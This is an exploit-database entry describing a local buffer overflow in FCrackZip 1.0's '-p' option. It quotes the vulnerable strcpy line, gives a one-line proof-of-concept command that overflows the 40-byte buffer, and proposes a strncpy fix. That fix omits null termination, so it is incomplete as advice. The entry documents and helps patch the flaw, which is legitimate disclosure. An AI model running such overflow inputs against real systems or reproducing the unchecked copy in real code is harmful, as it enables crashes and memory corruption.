FCrackZip 1.0 Local Buffer Overflow PoC

ID 1337DAY-ID-13988
Type zdt
Reporter 0x6264
Modified 2010-09-05T00:00:00


Exploit for linux platform in category dos / poc

FCrackZip 1.0 Local Buffer Overflow PoC

# Exploit Title: FCrackZip Local Buffer Overflow PoC
# Date: September 5th, 2010
# Author: 0x6264
# Software Link: http://oldhome.schmorp.de/marc/data/fcrackzip-1.0.tar.gz
# Version: 1.0
# Tested on: Ubuntu 10.04
# CVE : None
Software Description:
fcrackzip is a zip password cracker, similar to fzc, zipcrack and others.
FCrackZip does not check the length of the input provided to it when using the '-p' flag to supply an initial password or file used for a dictionary attack.  Passing it a string exceding its buffer size (40) results in an overwrite.
Vulnerable Code:
            case 'p':
        strcpy (pw, optarg);
Proof of Concept:
$ ./fcrackzip -p $(python -c 'print "A"*44') file.zip
Due to being compiled using canaries the overflow is detected and the process is terminated before the overwrite can take place.
Replace the function 'strcpy (pw, optarg);' with 'strncpy (pw, optarg, 40);'  Unlike strcpy(), strncpy() will copy no more than the specified string size(40 in our case).

#  0day.today [2018-01-03]  #